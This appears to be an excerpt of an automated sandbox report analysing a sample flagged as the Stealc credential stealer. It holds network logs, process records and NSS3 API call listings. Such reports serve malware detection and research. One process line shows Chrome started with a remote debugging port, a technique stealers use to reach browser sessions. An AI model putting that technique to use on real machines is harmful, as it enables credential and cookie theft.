2024-11-01 02:46:23 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:23 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: d6a1c2a7-101e-0079-31ea-2a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024623Z-16849878b78fssff8btnns3b140000000an000000000mnxd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 02:46:23 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:23 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:23 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:23 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 3452001d-001e-0065-12df-250b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024623Z-16849878b78z2wx67pvzz63kdg00000008zg00000000hhe2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:23 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:23 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:23 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:23 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 0c94b88e-401e-005b-1c4a-2b9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024623Z-17c5cb586f6p5pndayxh2uxv54000000024g000000001zsg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:23 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:23 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:23 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:23 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 8b819aaa-a01e-0084-563d-269ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024623Z-15b8d89586fpccrmgpemqdqe5800000005d00000000011g9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:23 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:23 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:23 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:23 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: c583980c-101e-008e-1237-26cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024623Z-17c5cb586f626sn8grcgm1gf80000000090g000000000vkg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:23 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:23 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:24 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:23 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 94cf4c5c-c01e-0034-1914-272af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024623Z-16849878b78fhxrnedubv5byks00000008u0000000004keh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:24 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Target ID:	0
Start time:	22:45:03
Start date:	31/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xe70000
File size:	2'161'152 bytes
MD5 hash:	943EF4CEEE0552B2A23E7F50163C16A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1741284072.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2101784449.00000000009AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2102203891.0000000000E71000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	22:45:12
Start date:	31/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:45:13
Start date:	31/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=1908,i,11351815084681940783,16203471309566197544,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 6C666E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B2120,6C667E60), ref: 6C666EBC
TlsGetValue.KERNEL32 ref: 6C666EDF
EnterCriticalSection.KERNEL32(?), ref: 6C666EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C666F25

Part of subcall function 6C63A900: TlsGetValue.KERNEL32(00000000,?,6C7B14E4,?,6C5D4DD9), ref: 6C63A90F
Part of subcall function 6C63A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C63A94F

PR_Unlock.NSS3 ref: 6C666F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C666FA9
TlsGetValue.KERNEL32 ref: 6C6670B4
EnterCriticalSection.KERNEL32(?), ref: 6C6670C8
PR_CallOnce.NSS3(6C7B24C0,6C6A7590), ref: 6C667104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C667117
SECOID_Init.NSS3 ref: 6C667128
PORT_Alloc_Util.NSS3(00000057), ref: 6C66714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C66717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6671A9
PR_NotifyAllCondVar.NSS3 ref: 6C6671CF
PR_Unlock.NSS3 ref: 6C6671DD
free.MOZGLUE(?), ref: 6C6671EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C667208
free.MOZGLUE(00000000), ref: 6C667221
free.MOZGLUE(00000001), ref: 6C667235
TlsGetValue.KERNEL32 ref: 6C66724A
EnterCriticalSection.KERNEL32(?), ref: 6C66725E
PR_NotifyCondVar.NSS3 ref: 6C667273
PR_Unlock.NSS3 ref: 6C667281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C667291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C7A0148,,defaultModDB,internalKeySlot), ref: 6C6674CC
free.MOZGLUE(00000000), ref: 6C667513
free.MOZGLUE(00000000), ref: 6C66751B
free.MOZGLUE(00000000), ref: 6C667528
free.MOZGLUE(00000000), ref: 6C66753C
free.MOZGLUE(00000000), ref: 6C667550
free.MOZGLUE(00000000), ref: 6C667561
free.MOZGLUE(00000000), ref: 6C667572
free.MOZGLUE(00000000), ref: 6C667583
free.MOZGLUE(00000000), ref: 6C667594
free.MOZGLUE(00000000), ref: 6C6675A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C6675BD
free.MOZGLUE(00000000), ref: 6C6675C8
free.MOZGLUE(00000000), ref: 6C6675F1
PR_NewLock.NSS3 ref: 6C667636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C667686
PR_NewLock.NSS3 ref: 6C6676A2

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C6676B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C667707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C66771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C667731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C66774A
DeleteCriticalSection.KERNEL32(?), ref: 6C667770
free.MOZGLUE(?), ref: 6C667779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C66779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6677AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C6677C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6677DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C667821
PORT_Alloc_Util.NSS3(?), ref: 6C667837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C66785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C66786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C6678AC
free.MOZGLUE(00000000), ref: 6C6678BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C6678F3
free.MOZGLUE(00000000), ref: 6C6678FC
free.MOZGLUE(00000000), ref: 6C66791C

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C6674C7
Spac, xrefs: 6C667389
NSS Internal Module, xrefs: 6C6674A2, 6C6674C6
rdb:, xrefs: 6C667744
dbm:, xrefs: 6C667716
extern:, xrefs: 6C66772B
,defaultModDB,internalKeySlot, xrefs: 6C66748D, 6C6674AA
kbi., xrefs: 6C667886
sql:, xrefs: 6C6676FE
dll, xrefs: 6C66788E

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: c63ee32a882def3eab86ab0da8de2da8a27cfa7a79f26545318d721529acdd4a
Instruction ID: b8c2f13f2c6d120a2c0e645878d2398f77352178374a0f1a0a2ea9851bc792a4
Opcode Fuzzy Hash: c63ee32a882def3eab86ab0da8de2da8a27cfa7a79f26545318d721529acdd4a
Instruction Fuzzy Hash: 065206B1E01205ABEF108F66DC09BAE7BB4BF06348F144138ED19A7E41E771D954CB9A

Function 6C68BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C68C0C8

Part of subcall function 6C719440: LeaveCriticalSection.KERNEL32 ref: 6C7195CD
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719622
Part of subcall function 6C719440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C71964E

PR_EnterMonitor.NSS3 ref: 6C68C0AE

Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C7191AA
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719212
Part of subcall function 6C719090: _PR_MD_WAIT_CV.NSS3 ref: 6C71926B

Part of subcall function 6C640600: GetLastError.KERNEL32(?,?,?,?,?,6C6405E2), ref: 6C640642
Part of subcall function 6C640600: TlsGetValue.KERNEL32(?,?,?,?,?,6C6405E2), ref: 6C64065D
Part of subcall function 6C640600: GetLastError.KERNEL32 ref: 6C640678
Part of subcall function 6C640600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C64068A
Part of subcall function 6C640600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C640693
Part of subcall function 6C640600: PR_SetErrorText.NSS3(00000000,?), ref: 6C64069D
Part of subcall function 6C640600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,367FFC63,?,?,?,?,?,6C6405E2), ref: 6C6406CA
Part of subcall function 6C640600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C6405E2), ref: 6C6406E6

PR_EnterMonitor.NSS3 ref: 6C68C0F2
PR_ExitMonitor.NSS3 ref: 6C68C10E
PR_ExitMonitor.NSS3 ref: 6C68C081

Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C71945B
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719479
Part of subcall function 6C719440: EnterCriticalSection.KERNEL32 ref: 6C719495
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C7194E4
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719532
Part of subcall function 6C719440: LeaveCriticalSection.KERNEL32 ref: 6C71955D

PR_EnterMonitor.NSS3 ref: 6C68C068

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C640600: GetProcAddress.KERNEL32(?,?), ref: 6C640623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C68C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C68C183
free.MOZGLUE(00000000), ref: 6C68C18E
PR_LoadLibrary.NSS3(?), ref: 6C68C1A3
PR_EnterMonitor.NSS3 ref: 6C68C1D4
PR_ExitMonitor.NSS3 ref: 6C68C1F3
PR_CallOnce.NSS3(6C7B2318,6C68CA70), ref: 6C68C210
PR_EnterMonitor.NSS3 ref: 6C68C22B
PR_ExitMonitor.NSS3 ref: 6C68C247
